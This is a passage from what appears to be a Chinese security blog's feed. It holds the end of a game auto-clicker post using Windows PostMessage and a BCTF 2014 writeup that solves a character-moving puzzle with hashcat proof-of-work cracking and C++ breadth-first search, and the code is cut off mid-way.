class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="向窗口发送鼠标点击消息"><a href="#向窗口发送鼠标点击消息" class="headerlink" title="向窗口发送鼠标点击消息"></a>向窗口发送鼠标点击消息</h2><p>用PostMessage就搞定啦。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">PostMessage(hWnd, WM\_LBUTTONDOWN, <span class="number">0</span>, MAKELPARAM(<span class="number">25</span> + BLOCK\_WIDTH*(y1 - <span class="number">1</span>), <span class="number">195</span> + BLOCK_HIGHT*(x1 - <span class="number">1</span>)));</span><br><span class="line">PostMessage(hWnd, WM\_LBUTTONUP, <span class="number">0</span>, MAKELPARAM(<span class="number">25</span> + BLOCK\_WIDTH*(y1 - <span class="number">1</span>), <span class="number">195</span> + BLOCK_HIGHT*(x1 - <span class="number">1</span>)));</span><br><span class="line">PostMessage(hWnd, WM\_LBUTTONDOWN, <span class="number">0</span>, MAKELPARAM(<span class="number">25</span> + BLOCK\_WIDTH*(y2 - <span class="number">1</span>), <span class="number">195</span> + BLOCK_HIGHT*(x2 - <span class="number">1</span>)));</span><br><span class="line">PostMessage(hWnd, WM\_LBUTTONUP, <span class="number">0</span>, MAKELPARAM(<span class="number">25</span> + BLOCK\_WIDTH*(y2 - <span class="number">1</span>), <span class="number">195</span> + BLOCK_HIGHT*(x2 - <span class="number">1</span>)));</span><br></pre></td></tr></table></figure><p>这边要注意发送的坐标信息要我们自己去收集，可以用VS自带的Spy++，找到每个格子的长宽以及左上角格子的坐标。 </p><h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><p>添加了热键什么的<br><img src="data:image/png;base64,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" alt> </p><p><a href="https://github.com/yufanpi/lianliankan/" target="_blank" rel="noopener">https://github.com/yufanpi/lianliankan/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;人生真是寂寞如雪啊。。。 &lt;/p&gt;
&lt;h2 id=&quot;思路是找到棋盘位置-gt-读取棋盘数据-gt-计算可消除的格子-gt-向窗口发送鼠标点击消息&quot;&gt;&lt;a href=&quot;#思路是找到棋盘位置-gt-读取棋盘数据-gt-计算可消除的格子-gt-向窗口发送鼠标点击消息&quot; class
      
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>BCTF2014线上赛crypto400地铁难挤writeup</title>
    <link href="https://blog.eadom.net/writeups/bctf2014-crypto400-writeup/"/>
    <id>https://blog.eadom.net/writeups/bctf2014-crypto400-writeup/</id>
    <published>2014-04-02T07:44:24.000Z</published>
    <updated>2025-11-21T12:45:50.766Z</updated>
    
    <content type="html"><![CDATA[<p>地铁难挤: 400 描述</p><p>米特尼克需要用社工办法 拿到THU安全专家的磁盘镜像以了解更多信息，于是他收买了THU专家的博士生，来到BJ市需要与博士生当面联系。但是，来到BJ市之后遇到的第一个问题 就是交通。BJ市人满为患，上下地铁时人们也不先下后上，而是互相挤。左边的人想挤到右边下车，右边的人也想挤到左边上车。你作为米特尼克在BJ的一位小 伙伴，能否帮他和所有乘客设计一个尽量少移动次数的方案，使得需要上车的人都上车，需要下车的人都下车。218.2.197.242:6000 or 218.2.197.243:6000</p><p>提示</p><p>此题是PPC 1. 地铁和车都是背景描述而已，和题目没关系，本题的目标就是让左边的人 L 都到 右边去，右边的人 R 都到左边来 2. 人的移动规则和游戏规则需要大家遍历出来，每次输入一个数字(20以内)   都不知道PPC什么意思。。反正先连接上去看看 <img src="http://img.blog.csdn.net/20140312161003125?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQveXVmYW5waQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt>   要算一个sha1，先写了个python跑了一次X是三位的，但是发现每次连接字符串都会变。。。只能取得了再跑，后来发现用python写的会超时。。。然后尝试用hashcat来破 命令如下command = ‘cudaHashcat64 –custom-charset1 ?l?u?d -m 100 -a 3 “+result+” “+base+”?1?1?1?1”‘   连上之后是一个什么游戏。。。 <img src="http://img.blog.csdn.net/20140312161341546?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQveXVmYW5waQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt> 玩了半天，再根据题意。规则是空格分隔左右两边，最后要让L都到右边，R都到左边。 一次输入一个数字，代表这个字符串的第几个位置（空格也算一个位置），让这个位置上的人往另外一侧移动 一次最多只能移动两个人 如LRLRLRLRL R 输入9,，就变成LRLRLRLR LR 如LRLRLRLRL R 输入8，就变成LRLRLRL LRR，即两个人都到另一侧，并且互换位置 若输入不合法则返回wrong answer游戏失败。   下面就是游戏的算法啦 xin5739写的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//xin5739</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;cstring&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;cstdio&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"queue"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> INF 100000000</span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"><span class="keyword">int</span> sta\[<span class="number">1</span>&lt;&lt;<span class="number">22</span>\]\[<span class="number">22</span>\];</span><br><span class="line"><span class="keyword">int</span> opp\[<span class="number">1</span>&lt;&lt;<span class="number">22</span>\]\[<span class="number">22</span>\],ops\[<span class="number">1</span>&lt;&lt;<span class="number">22</span>\]\[<span class="number">22</span>\],anss\[<span class="number">1</span>&lt;&lt;<span class="number">22</span>\]\[<span class="number">22</span>\];</span><br><span class="line"><span class="keyword">int</span> len;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">judge</span><span class="params">(<span class="keyword">int</span> s,<span class="keyword">int</span> p)</span><span class="comment">//判断是否达到目标,p是空格位置</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">     <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;len;i++)</span><br><span class="line">     &#123;</span><br><span class="line">           <span class="keyword">if</span>(i&lt;p&amp;&amp;(s&amp;(<span class="number">1</span>&lt;&lt;i))==<span class="number">0</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">           <span class="keyword">if</span>(i&gt;p&amp;&amp;(s&amp;(<span class="number">1</span>&lt;&lt;i))==<span class="number">1</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">     &#125;</span><br><span class="line">     <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">check</span><span class="params">(<span class="keyword">int</span> s,<span class="keyword">int</span> &amp;p,<span class="keyword">int</span> &amp;now)</span><span class="comment">//检查是否是合法移动,p是空格位置</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">       <span class="keyword">int</span> x,y;</span><br><span class="line">       x=p;y=now;</span><br><span class="line">       <span class="keyword">if</span>(x==y) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">       <span class="keyword">int</span> f0=<span class="number">0</span>,f1=<span class="number">0</span>;</span><br><span class="line">       <span class="keyword">if</span>(x&gt;y)</span><br><span class="line">       &#123;</span><br><span class="line">             x--;</span><br><span class="line">             <span class="keyword">int</span> t=x;x=y;y=t;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">else</span> x++;</span><br><span class="line">       <span class="keyword">for</span> (<span class="keyword">int</span> i=x;i&lt;=y;i++)</span><br><span class="line">       &#123;</span><br><span class="line">            <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;i)) f1=<span class="number">1</span>;</span><br><span class="line">            <span class="keyword">else</span> f0=<span class="number">1</span>;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">if</span>(f1==<span class="number">1</span>&amp;&amp;f0==<span class="number">1</span>)</span><br><span class="line">       &#123;</span><br><span class="line">            <span class="keyword">if</span>(y-x+<span class="number">1</span>&gt;<span class="number">2</span>) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">            <span class="keyword">if</span>(p&lt;x)<span class="comment">//pxy-&gt;yxp</span></span><br><span class="line">            &#123;</span><br><span class="line">                  <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;y))</span><br><span class="line">                  &#123;</span><br><span class="line">                      s|=(<span class="number">1</span>&lt;&lt;p);</span><br><span class="line">                      s^=(<span class="number">1</span>&lt;&lt;y);</span><br><span class="line">                  &#125;</span><br><span class="line">                  <span class="keyword">else</span> <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;p)) s^=(<span class="number">1</span>&lt;&lt;p);</span><br><span class="line">                  now=p;</span><br><span class="line">                  p=y;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span> <span class="comment">//xyp-&gt;pyx</span></span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;x))</span><br><span class="line">                &#123;</span><br><span class="line">                    s|=(<span class="number">1</span>&lt;&lt;p);</span><br><span class="line">                    s^=(<span class="number">1</span>&lt;&lt;x);</span><br><span class="line">                &#125;</span><br><span class="line">                 <span class="keyword">else</span> <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;p)) s^=(<span class="number">1</span>&lt;&lt;p);</span><br><span class="line">                 now=p;</span><br><span class="line">                p=x;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> s;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">else</span></span><br><span class="line">       &#123;</span><br><span class="line">           <span class="keyword">if</span>(p&lt;x) <span class="comment">//pxxxx-&gt;xxxxp</span></span><br><span class="line">           &#123;</span><br><span class="line">                 <span class="keyword">for</span> (<span class="keyword">int</span> j=p;j&lt;y;j++)</span><br><span class="line">                 &#123;</span><br><span class="line">                      <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;(j+<span class="number">1</span>)))</span><br><span class="line">                      &#123;</span><br><span class="line">                            s|=(<span class="number">1</span>&lt;&lt;j);</span><br><span class="line">                      &#125;</span><br><span class="line">                      <span class="keyword">else</span> <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;j)) s^=(<span class="number">1</span>&lt;&lt;j); </span><br><span class="line">                 &#125;</span><br><span class="line">                 <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;y)) s^=(<span class="number">1</span>&lt;&lt;y);</span><br><span class="line">                 now=p;</span><br><span class="line">                 p=y;</span><br><span class="line">           &#125;</span><br><span class="line">           <span class="keyword">else</span> <span class="comment">//xxxxp-&gt;pxxxx</span></span><br><span class="line">           &#123;</span><br><span class="line">              <span class="comment">// if(p!=y+1) printf("1111213123");</span></span><br><span class="line">                <span class="keyword">for</span> (<span class="keyword">int</span> j=p;j&gt;x;j--)</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;(j<span class="number">-1</span>)))</span><br><span class="line">                    &#123;</span><br><span class="line">                        s|=(<span class="number">1</span>&lt;&lt;j);</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="keyword">else</span> <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;j)) s^=(<span class="number">1</span>&lt;&lt;j);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;x)) s^=(<span class="number">1</span>&lt;&lt;x);</span><br><span class="line">                now=p;</span><br><span class="line">                p=x;</span><br><span class="line">           &#125;</span><br><span class="line">           <span class="keyword">return</span> s;</span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">int</span> s,p;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">bin2str</span><span class="params">(<span class="keyword">int</span> s,<span class="keyword">int</span> p)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;len;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span>(i==p) <span class="built_in">printf</span>(<span class="string">" "</span>);</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span>(s&amp;(<span class="number">1</span>&lt;&lt;i)) <span class="built_in">printf</span>(<span class="string">"R"</span>);</span><br><span class="line">        <span class="keyword">else</span> <span class="built_in">printf</span>(<span class="string">"L"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">bfs</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">queue</span>&lt;node&gt;q;</span><br><span class="line">    node z;</span><br><span class="line">    <span class="built_in">memset</span>(sta,<span class="number">-1</span>,<span class="keyword">sizeof</span>(sta));</span><br><span class="line">    <span class="keyword">int</span> i;</span><br><span class="line">    <span class="keyword">int</span> s,p;</span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;len;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        s=<span class="number">0</span>;p=i;</span><br><span class="line">        <span class="keyword">int</span> j;</span><br><span class="line">        <span class="keyword">for</span>(j=<span class="number">0</span>;j&lt;p;j++) s|=(<span class="number">1</span>&lt;&lt;j);</span><br><span class="line">        z.s=s;z.p=p;</span><br><span class="line">        q.push(z);</span><br><span class="line">    <span class="comment">//  bin2str(s,p);</span></span><br><span class="line">        sta\[s\]\[p\]=<span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span>(!q.empty())</span><br><span class="line">    &#123;</span><br><span class="line">        z=q.front();</span><br><span class="line">        q.pop();</span><br><span class="line">        <span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;len;i++)</span><br><span class="line">        &#123;</span><br><span class="line">              <span class="keyword">int</span> t=z.p,now=i;</span><br><span class="line">              <span class="keyword">int</span> x=check(z.s,t,now);</span><br><span class="line">              <span class="keyword">if</span>(sta\[x\]\[t\]==<span class="number">-1</span>||sta\[z.s\]\[z.p\]+<span class="number">1</span>&lt;sta\[x\]\[t\])</span><br><span class="line">              &#123;</span><br><span class="line">                    node a;</span><br><span class="line"></span><br><span class="line">                    sta\[x\]\[t\]=sta\[z.s\]\[z.p\]+<span class="number">1</span>;</span><br><span class="line">                    a.s=x;a.p=t;</span><br><span class="line">                    opp\[x\]\[t\]=z.p; 